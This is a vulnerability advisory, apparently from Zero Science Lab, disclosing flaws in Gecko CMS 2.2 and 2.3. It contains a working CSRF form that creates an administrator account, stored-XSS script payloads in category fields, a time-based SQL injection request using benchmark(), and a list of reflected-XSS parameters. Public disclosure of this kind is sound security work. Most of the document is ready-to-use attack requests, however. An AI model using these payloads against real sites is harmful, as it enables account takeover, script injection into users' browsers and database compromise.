Gecko CMS 2.3 Multiple Vulnerabilities
Vendor: JAKWEB
Product web page: http://www.cmsgecko.com
Affected version: 2.3 and 2.2
Summary: Gecko CMS is the way to go, forget complicated, bloated
and slow content management systems, Gecko CMS has been build to
be intuitive, easy to use, extendable to almost anything, running
on all standard web hosting (PHP and one MySQL database, Apache is
a plus), browser compatibility and fast, super fast!
Desc: Gecko CMS suffers from multiple vulnerabilities including
Cross-Site Request Forgery, Stored and Reflected Cross-Site Scripting
and SQL Injection.
Tested on: Apache/2
PHP/5.4.36
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5222
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5222.php
27.12.2014
---
CSRF Add Admin:
===============
<html>
<body>
<form action="http://demo.cmsgecko.com/admin/index.php?p=user&sp=newuser" method="POST">
<input type="hidden" name="jak_name" value="Testingus2" />
<input type="hidden" name="jak_email" value="test2@test.test" />
<input type="hidden" name="jak_username" value="Testusername2" />
<input type="hidden" name="jak_usergroup" value="3" />
<input type="hidden" name="jak_access" value="1" />
<input type="hidden" name="jak_password" value="123123" />
<input type="hidden" name="jak_confirm_password" value="123123" />
<input type="hidden" name="save" value="" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
usergroup 4 = moderator
3 = administrator
2 = member standard
1 = guest
5 = banned
Stored XSS (params: jak_img, jak_name, jak_url):
================================================
POST http://demo.cmsgecko.com/admin/index.php?p=categories&sp=newcat HTTP/1.1
jak_catparent 0
jak_catparent2 0
jak_footer 1
jak_img "><script>alert(1);</script>
jak_lcontent <p>test</p>
jak_lcontent2
jak_menu 1
jak_name "><script>alert(2);</script>
jak_name2
jak_url "><script>alert(3);</script>
jak_varname ZSL
save
SQL Injection (params: jak_delete_log[], ssp):
==============================================
POST /admin/index.php?p=logs&sp=s HTTP/1.1
delete=&jak_delete_log%5B%5D=4%20and%20benchmark(20000000%2csha1(1))--%20&jak_delete_log%5B%5D=2&jak_delete_log%5B%5D=1
--
GET /admin/index.php?p=logs&sp=delete&ssp=3[SQLi] HTTP/1.1
Reflected XSS:
==============
/admin/index.php [horder%5B%5D parameter]
/admin/index.php [jak_catid parameter]
/admin/index.php [jak_content parameter]
/admin/index.php [jak_css parameter]
/admin/index.php [jak_delete_log%5B%5D parameter]
/admin/index.php [jak_email parameter]
/admin/index.php [jak_extfile parameter]
/admin/index.php [jak_file parameter]
/admin/index.php [jak_hookshow%5B%5D parameter]
/admin/index.php [jak_img parameter]
/admin/index.php [jak_javascript parameter]
/admin/index.php [jak_lcontent parameter]
/admin/index.php [jak_name parameter]
/admin/index.php [jak_password parameter]
/admin/index.php [jak_showcontact parameter]
/admin/index.php [jak_tags parameter]
/admin/index.php [jak_title parameter]
/admin/index.php [jak_url parameter]
/admin/index.php [jak_username parameter]
/admin/index.php [real_hook_id%5B%5D parameter]
/admin/index.php [sp parameter]
/admin/index.php [sreal_plugin_id%5B%5D parameter]
/admin/index.php [ssp parameter]
/admin/index.php [sssp parameter]
/js/editor/plugins/filemanager/dialog.php [editor parameter]
/js/editor/plugins/filemanager/dialog.php [field_id parameter]
/js/editor/plugins/filemanager/dialog.php [fldr parameter]
/js/editor/plugins/filemanager/dialog.php [lang parameter]
/js/editor/plugins/filemanager/dialog.php [popup parameter]
/js/editor/plugins/filemanager/dialog.php [subfolder parameter]
/js/editor/plugins/filemanager/dialog.php [type parameter]
